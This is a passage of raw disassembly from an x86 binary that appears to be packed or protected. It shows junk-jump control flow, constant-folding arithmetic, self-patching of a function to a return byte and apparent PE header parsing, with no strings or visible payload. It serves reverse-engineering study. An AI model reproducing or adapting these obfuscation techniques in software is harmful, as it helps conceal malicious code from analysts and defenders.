loc_43AB90:				; CODE XREF: sub_4410E0:loc_4432ACj
		jmp	loc_43E525
; END OF FUNCTION CHUNK	FOR sub_4410E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440626

loc_43AB95:				; CODE XREF: sub_440626+Dj
		jmp	loc_44BFDA
; END OF FUNCTION CHUNK	FOR sub_440626
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43AB9A:				; CODE XREF: sub_438B66+F230j
		shr	edi, 11h
		jno	loc_43CA2B
		jmp	loc_4491AE
; END OF FUNCTION CHUNK	FOR sub_438B66
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43ABA9:				; CODE XREF: y22d6.y.:0044976Ej
		jmp	sub_44A413
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E38B

loc_43ABAE:				; CODE XREF: sub_44E38B-1650Cj
		jmp	loc_442D03
; END OF FUNCTION CHUNK	FOR sub_44E38B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43ABB3:				; CODE XREF: sub_448EB6-6700j
		pop	edx
		or	edx, ds:4000E3h
		sub	edx, 6CE96349h
		rol	edx, 18h
		jmp	loc_43EEC6
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		mov	eax, 2DC123E0h
		call	sub_43CA1A
		push	ecx
		push	0BB807708h
		jmp	loc_43B673
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43ABDD:				; CODE XREF: sub_448EB6:loc_440384j
					; sub_448EB6-8B26j
		add	ebx, 787F45D0h
		call	sub_43E139

loc_43ABE8:				; CODE XREF: sub_44CB3F-3248j
		jmp	loc_43B1AE
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		mov	ds:off_41E00C, eax
		lea	eax, sub_4425E0
		mov	byte ptr [eax],	0C3h
		jmp	sub_4425E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_43AC01:				; CODE XREF: sub_4425E0+1j
		push	offset loc_43F3F5

loc_43AC06:				; CODE XREF: y22d6.y.:loc_43ADD7j
		jmp	loc_440E3E
; END OF FUNCTION CHUNK	FOR sub_4425E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_43AC0B:				; CODE XREF: sub_43B09B:loc_44991Aj
					; y22d6.y.:0044CF26j
		jge	nullsub_146
		push	edi
		jmp	loc_43F70C
; END OF FUNCTION CHUNK	FOR sub_43B09B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D7E0

loc_43AC18:				; CODE XREF: sub_44D7E0-941Ej
		jmp	loc_4395DC
; END OF FUNCTION CHUNK	FOR sub_44D7E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD64

loc_43AC1D:				; CODE XREF: sub_43AD64:loc_445C4Bj
		pop	eax
		and	eax, 0B2C989E7h
		add	eax, 0A7BCAF74h
		and	eax, 9882D756h
		jmp	loc_438240
; END OF FUNCTION CHUNK	FOR sub_43AD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_43AC35:				; CODE XREF: sub_43E81B:loc_4447B5j
		or	ecx, 0B74028F5h
		sub	edx, 0A0F9AB40h
		jmp	loc_43B749
; END OF FUNCTION CHUNK	FOR sub_43E81B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481AF

loc_43AC46:				; CODE XREF: sub_4481AF+8j
		call	sub_43E15A
		push	eax
		call	sub_43AC5C
		retn
; END OF FUNCTION CHUNK	FOR sub_4481AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43AC52:				; CODE XREF: sub_43A6E1+F102j
		jmp	nullsub_295
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------

loc_43AC57:				; CODE XREF: y22d6.y.:00448446j
		jmp	sub_44928B

; =============== S U B	R O U T	I N E =======================================



sub_43AC5C	proc near		; CODE XREF: sub_4481AF-D563p

; FUNCTION CHUNK AT 0043B67F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446F8D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044DFE6 SIZE 0000000D BYTES

		push	ebp
		jmp	loc_43B67F
sub_43AC5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_43AC62:				; CODE XREF: sub_43C712:loc_44CBF3j
		xor	eax, eax
		call	sub_44DCB9

loc_43AC69:				; CODE XREF: sub_43E48C+B680j
		jmp	loc_44015F
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_43AC6E:				; CODE XREF: sub_43CBD3:loc_43DD8Cj
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43AC74:				; CODE XREF: sub_44BCC2-7E78j
		jmp	loc_441579
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_43AC79:				; CODE XREF: sub_4416F3+18j
		jmp	loc_43A220
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_43AC7E:				; CODE XREF: sub_43837F:loc_43D4FAj
		jmp	loc_445569
; END OF FUNCTION CHUNK	FOR sub_43837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447940

loc_43AC83:				; CODE XREF: sub_447940-B462j
		jmp	loc_444306
; END OF FUNCTION CHUNK	FOR sub_447940

; =============== S U B	R O U T	I N E =======================================



sub_43AC88	proc near		; CODE XREF: sub_438B66:loc_43A519p
					; sub_44B1D2-DCABj
		js	sub_44371A
		push	offset loc_439CD8
		jmp	nullsub_21
sub_43AC88	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_43AC98:				; CODE XREF: sub_43C6D7:loc_445F78j
		mov	edi, ebx
		xchg	edi, [esp+4+var_4]
		pushf
		push	0E252B6F8h
		pop	ebx
		xor	ebx, ds:4000E0h
		add	ebx, 5822545Fh
		jmp	loc_44CE1D
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43ACB5:				; CODE XREF: sub_43A6E1+381Ej
					; sub_43A6E1:loc_4430DEj
		add	edx, 70E3A9B3h
		js	loc_449460

loc_43ACC1:				; CODE XREF: sub_43BDD3+Ej
		jmp	loc_442FD2
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_43ACC6:				; CODE XREF: sub_4422AA:loc_43953Aj
		jmp	loc_44B6D8
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------
		sub	eax, 7D1D8074h	; DATA XREF: sub_43B252+2A3Bo
		jmp	loc_449458
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_43ACD6:				; CODE XREF: sub_43E5C2-582Ej
					; sub_44C4FF:loc_44505Dj ...
		xor	eax, 32426C14h
		sub	eax, 0D31A4D8Dh
		xor	eax, 0DC67F43Fh
		add	eax, 5794CDB1h
		xor	eax, 0D4D46998h
		jmp	loc_43A2E6
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_43ACF9:				; CODE XREF: sub_44193A+4j
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		mov	esp, ebp
		xchg	edi, [esp+0]
		jmp	loc_4421E7
; END OF FUNCTION CHUNK	FOR sub_44193A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_132. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43AD09:				; CODE XREF: y22d6.y.:00443D11j
		jmp	loc_44096D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_43AD0E:				; CODE XREF: sub_44E14E:loc_43F4F1j
		jnz	loc_43D7FB
		jmp	loc_43A721
; END OF FUNCTION CHUNK	FOR sub_44E14E

; =============== S U B	R O U T	I N E =======================================



sub_43AD19	proc near		; CODE XREF: y22d6.y.:004396E6j
					; y22d6.y.:0043F707p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044DFA6 SIZE 00000022 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	edx
		mov	edx, ebx
		xchg	edx, [esp+0]
		push	56A059DFh
		jmp	loc_44DFA6
sub_43AD19	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43AD2D:				; CODE XREF: y22d6.y.:loc_43F4D0j
		push	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AD2F	proc near		; CODE XREF: sub_43E81B+B517p
					; sub_43BA9E+11E92p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004373C9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043B725 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FD47 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004439A5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00448CF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044940F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449B53 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044A839 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AE79 SIZE 00000021 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ebx, [esp+4+var_4]
		jmp	loc_448CF4
sub_43AD2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_43AD3D	proc near		; CODE XREF: y22d6.y.:00438510j
					; sub_43887A+1p

; FUNCTION CHUNK AT 0043D777 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E897 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044168B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004492B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C086 SIZE 0000001D BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+0]
		push	edx
		jmp	loc_4492B1
sub_43AD3D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_43AD50:				; CODE XREF: sub_445787+5j
		jmp	loc_4446AE
; END OF FUNCTION CHUNK	FOR sub_43C55B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_43AD55:				; CODE XREF: sub_442C0C+286Dj
		jmp	loc_43C6AD
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------

loc_43AD5A:				; CODE XREF: y22d6.y.:0043D3EBj
		jmp	loc_44623D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_43AD5F:				; CODE XREF: sub_43C3DD-944j
		jmp	nullsub_26
; END OF FUNCTION CHUNK	FOR sub_43C3DD

; =============== S U B	R O U T	I N E =======================================



sub_43AD64	proc near		; CODE XREF: sub_4428C2:loc_441A8Ap
					; y22d6.y.:0044B24Dj

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438240 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043886A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043AC1D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043D791 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445C4B SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		push	eax
		push	0D115A57h
		jmp	loc_445C4B
sub_43AD64	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372BC

loc_43AD79:				; CODE XREF: sub_4372BC+7j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_4372BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43AD7E:				; CODE XREF: sub_44057E+770Dj
		jg	loc_4433CA
		rol	ebx, 0Eh
		shl	ebp, 1Ah
		push	edi

loc_43AD8B:				; CODE XREF: sub_44057E:loc_43E95Ej
					; sub_44B1D2+Cj
		add	dword ptr [ebp-4], 8
		jmp	loc_43B060
; END OF FUNCTION CHUNK	FOR sub_44057E

; =============== S U B	R O U T	I N E =======================================



sub_43AD94	proc near		; CODE XREF: sub_437712+6EE3j
					; sub_44AEDA-6DFFp

; FUNCTION CHUNK AT 004420F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449F31 SIZE 00000019 BYTES

		push	ebp
		jmp	loc_4420F4
sub_43AD94	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43AD9A:				; CODE XREF: sub_448EB6+88j
		test	edi, 2594CE98h
		jmp	loc_44DAF0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_43ADA6:				; CODE XREF: y22d6.y.:00439728j
		jmp	loc_44E1EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439FCB

loc_43ADAB:				; CODE XREF: sub_439FCB-1038j
		jmp	loc_43CFB3
; END OF FUNCTION CHUNK	FOR sub_439FCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_43ADB0:				; CODE XREF: sub_445A15-9E5Bj
		push	esi
		push	0A00AC91Bh
		pop	esi
		add	esi, 0B63C935Eh
		jmp	loc_439B60
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------
		jmp	ds:off_41E144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F5A

loc_43ADC8:				; CODE XREF: sub_439F5A+673Dj
		jmp	loc_43A80C
; END OF FUNCTION CHUNK	FOR sub_439F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448006

loc_43ADCD:				; CODE XREF: sub_448006:loc_43D344j
					; sub_43C7C1+26C6j ...
		push	offset loc_437010
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_448006
; ---------------------------------------------------------------------------

loc_43ADD7:				; CODE XREF: y22d6.y.:004483A4j
		jle	loc_43AC06
		add	edx, 2B790555h
		jmp	loc_43724D
; ---------------------------------------------------------------------------

loc_43ADE8:				; DATA XREF: y22d6.y.:00437D72o
		xchg	eax, [esp]
		jmp	loc_441CA3
; ---------------------------------------------------------------------------

loc_43ADF0:				; DATA XREF: sub_4383E0+D72Bo
		xchg	eax, [esp]
		push	1915166h
		pop	ecx
		add	ecx, 9AEEC75Dh
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43ADFF:				; CODE XREF: sub_448EB6:loc_440799j
		js	loc_44B048
		adc	edi, edx

loc_43AE07:				; CODE XREF: sub_43A6E1+3818j
		jmp	loc_44534C
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43AE0C:				; CODE XREF: sub_44E5C7+Aj
		mov	al, [eax]
		jo	loc_43786F
		sub	al, 99h
		push	8F6A884Dh
		pop	edx
		rol	edx, 1Eh
		jmp	loc_43CCE7
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A041

loc_43AE24:				; CODE XREF: sub_43A041+10901j
		cmp	eax, 0BF5BD26Dh
		jmp	loc_43CE61
; END OF FUNCTION CHUNK	FOR sub_43A041
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43AE2F:				; CODE XREF: sub_44B1D2-806Ej
		cmp	edi, esi
		jmp	loc_437CF6
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------
		dw 890Fh
		dd 0FFFFDAC4h, 0DAEDD581h, 890F5288h, 4647h, 4362E99Dh
		dd 0D9810000h, 0F44A9FA7h, 0A794E9h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_43AE59:				; CODE XREF: sub_4409F4-4678j
		jl	loc_4495CD

loc_43AE5F:				; CODE XREF: y22d6.y.:00449EB9j
		jmp	loc_43A10E
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0A9

loc_43AE64:				; CODE XREF: sub_43E0A9+5BAAj
		jmp	nullsub_183
; END OF FUNCTION CHUNK	FOR sub_43E0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43AE69:				; CODE XREF: sub_448EB6-BD8Ej
		jmp	nullsub_316
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_43AE6E:				; CODE XREF: sub_44D6D0-14AA0j
		jmp	nullsub_255
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------
		test	esi, ecx
		jmp	loc_443D16
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_43C22C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_267. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_43AE81:				; CODE XREF: sub_441F08+59B0j
		jmp	loc_4403B2
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF3

loc_43AE86:				; CODE XREF: sub_43CBF3+A40j
		jmp	loc_44C4D2
; END OF FUNCTION CHUNK	FOR sub_43CBF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44734D

loc_43AE8B:				; CODE XREF: sub_44734D:loc_44735Ej
		mov	eax, [ebp-4]
		add	eax, 3Ch
		push	offset loc_447157
		jmp	loc_43866E
; END OF FUNCTION CHUNK	FOR sub_44734D
; ---------------------------------------------------------------------------

loc_43AE9B:				; DATA XREF: sub_43C466+AD86o
		cmp	dword ptr [ebp-4], 0
		jz	loc_438C96

loc_43AEA5:				; CODE XREF: y22d6.y.:loc_43F310j
		jmp	loc_43F0A0

; =============== S U B	R O U T	I N E =======================================



sub_43AEAA	proc near		; CODE XREF: sub_44B267:loc_438803p
					; y22d6.y.:0043FAECj

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		mov	[ebp-4], eax
		call	sub_43C55B

loc_43AEB9:				; CODE XREF: sub_43C3DD:loc_4385BCj
		pop	edi
		rol	eax, 9

loc_43AEBD:				; CODE XREF: sub_441F08+904Dj
		xor	eax, 5ED553AFh
		jmp	sub_44A7A9
sub_43AEAA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF56

loc_43AEC8:				; CODE XREF: sub_43DF56j
		mov	eax, ds:dword_4425CC
		push	offset sub_43C6D7
		jmp	nullsub_31
; END OF FUNCTION CHUNK	FOR sub_43DF56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43AED8:				; CODE XREF: sub_43B98D+736j
		push	eax
		mov	eax, [ebp-4]
		mov	eax, [eax+3Ch]
		push	offset sub_445B95
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------

loc_43AEE9:				; CODE XREF: y22d6.y.:loc_4395D7j
		jo	loc_445DAC

loc_43AEEF:				; CODE XREF: y22d6.y.:loc_4395C6j
		or	ecx, 19A102C8h
		add	ecx, 669EBA44h
		mov	[ecx], eax
		jmp	loc_444CEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2B0

loc_43AF02:				; CODE XREF: sub_44C2B0:loc_44C2B5j
		sub	eax, 4E731924h
		or	eax, 9E80ED58h
		add	eax, 60BD5F45h
		xchg	eax, [esp+0]
		jmp	sub_44C171
; END OF FUNCTION CHUNK	FOR sub_44C2B0
; ---------------------------------------------------------------------------

loc_43AF1C:				; CODE XREF: y22d6.y.:0043EE0Aj
		jle	loc_441ACD
		push	2F188175h
		jmp	loc_43844A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_43AF2C:				; CODE XREF: sub_43C3DD:loc_439590j
		jz	loc_43BBE7
		jmp	loc_445E6F
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
		mov	esi, 9B2C946Dh
		jmp	loc_44B07D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_43AF41:				; CODE XREF: sub_43C55B:loc_444CBFj
		push	edi
		mov	edi, edx
		xchg	edi, [esp+4+var_4]
		call	sub_442C0C
		mov	eax, 1AABF86Ch
		call	sub_43F7FF
		jmp	loc_448657
; END OF FUNCTION CHUNK	FOR sub_43C55B

; =============== S U B	R O U T	I N E =======================================



sub_43AF5B	proc near		; DATA XREF: sub_439051:loc_4402CAo

; FUNCTION CHUNK AT 00437CB7 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043B21F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CDF7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442F8D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044397C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00444F5A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CE9D SIZE 00000005 BYTES

		mov	esi, ecx
		pop	ecx
		xor	eax, 0DEBF6904h
		push	edi
		push	157055DAh
		pop	edi
		jmp	loc_44CE9D
sub_43AF5B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43AF70:				; CODE XREF: sub_448EB6:loc_444638j
		jnz	loc_448627
		jmp	loc_44B453
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43AF7B:				; CODE XREF: y22d6.y.:004435FBj
		and	edi, 0A645B8D7h
		adc	esi, 40017283h
		and	edx, eax
; START	OF FUNCTION CHUNK FOR sub_4435D6

loc_43AF89:				; CODE XREF: sub_4435D6:loc_4435E7j
		add	edi, 3FBF12C4h
		xchg	edi, [esp+0]
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_4435D6
; ---------------------------------------------------------------------------
		cmp	ecx, 0C1366283h
		jmp	loc_4392AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_43AFA2:				; CODE XREF: sub_44E5C7-5BF0j
		mov	edi, 21C47A7h
		not	eax
		adc	eax, ebp

loc_43AFAB:				; CODE XREF: sub_44E5C7:loc_447A42j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43C52F
		jmp	loc_447D5A
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_43AFBD:				; CODE XREF: sub_43A148:loc_4417D9j
		mov	ebx, [edx]
		sub	ebx, eax
		push	33D661E8h
		add	ecx, eax
		jmp	loc_43C1C7
; END OF FUNCTION CHUNK	FOR sub_43A148

; =============== S U B	R O U T	I N E =======================================



sub_43AFCD	proc near		; DATA XREF: sub_44A688+5o
		push	57A59189h
		pop	ebx
		xor	ebx, 29D72A0Ch
		add	ebx, 0E062982Ah
		xor	eax, ebx
		pop	ebx
		jmp	sub_44A7A9
sub_43AFCD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_44969D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43AFED:				; CODE XREF: sub_44271A:loc_438EBBj
		xchg	esi, [esp+8+var_8]
		jmp	loc_44A683
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_43AFF5:				; CODE XREF: y22d6.y.:loc_437F80j
					; sub_43BCA9+857Aj
		pop	eax
		push	666B8922h

loc_43AFFB:				; CODE XREF: sub_43BCA9:loc_437280j
		push	eax
		push	66E8344Bh
		jmp	loc_43A192
; END OF FUNCTION CHUNK	FOR sub_43BCA9

; =============== S U B	R O U T	I N E =======================================



sub_43B006	proc near		; CODE XREF: y22d6.y.:0043B188j
					; sub_44D7E0-CD73p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044D411 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DF83 SIZE 0000000F BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_43E913
		mov	eax, 86B13FACh
		jmp	loc_44D411
sub_43B006	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B01D	proc near		; CODE XREF: sub_446145-AC6Ep
					; y22d6.y.:0043EBB8j
		xchg	edx, [esp+0]
		pop	edx
		call	sub_449739

loc_43B026:				; CODE XREF: sub_44C322:loc_4413E0j
		mov	ds:dword_441974, eax

loc_43B02B:				; CODE XREF: y22d6.y.:00445C05j
					; sub_446145+Bj ...
		call	sub_4436DB

loc_43B030:				; CODE XREF: sub_43BDFB+7j
		jmp	sub_449F8E
sub_43B01D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43B035	proc near		; CODE XREF: y22d6.y.:004397AEj
					; sub_437913+7407p

; FUNCTION CHUNK AT 0043D840 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E487 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FB36 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044C1C5 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		sub	eax, ecx
		pop	ecx
		jmp	loc_43E487
sub_43B035	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_43B041:				; CODE XREF: sub_43A148+13B49j
					; sub_43A148:loc_44DC9Fj
		or	ecx, 0D68DE60Fh
		xor	ecx, 63F98230h
		test	ecx, 100000h
		jmp	loc_43BE19
; END OF FUNCTION CHUNK	FOR sub_43A148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCC0

loc_43B058:				; CODE XREF: sub_43DCC0:loc_43EBBEj
		xchg	edx, [esp+10h+var_10]
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_43DCC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_43B060:				; CODE XREF: sub_44057E-57EFj
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+4], 0
		ja	loc_44310F
		jmp	loc_449A3D
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43B072:				; CODE XREF: sub_448EB6-883j
		jz	loc_438F00
		jmp	loc_44B698
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_43B07D:				; CODE XREF: sub_43E81B+A1CFj
		jnz	loc_4479CB

loc_43B083:				; CODE XREF: sub_43E81B:loc_437992j
		mov	eax, 400h
		call	sub_4481AF
		mov	[ebp-8], eax
		push	esi
		push	3CAD5D7Bh
		jmp	loc_44A00F
; END OF FUNCTION CHUNK	FOR sub_43E81B

; =============== S U B	R O U T	I N E =======================================



sub_43B09B	proc near		; CODE XREF: sub_43B09B:loc_438F12j
					; sub_4383E0+BB44j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438068 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438A4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438E1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438EDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438F12 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00439E11 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043A6F3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AC0B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043B336 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043CC58 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E096 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043E259 SIZE 00000014 BYTES
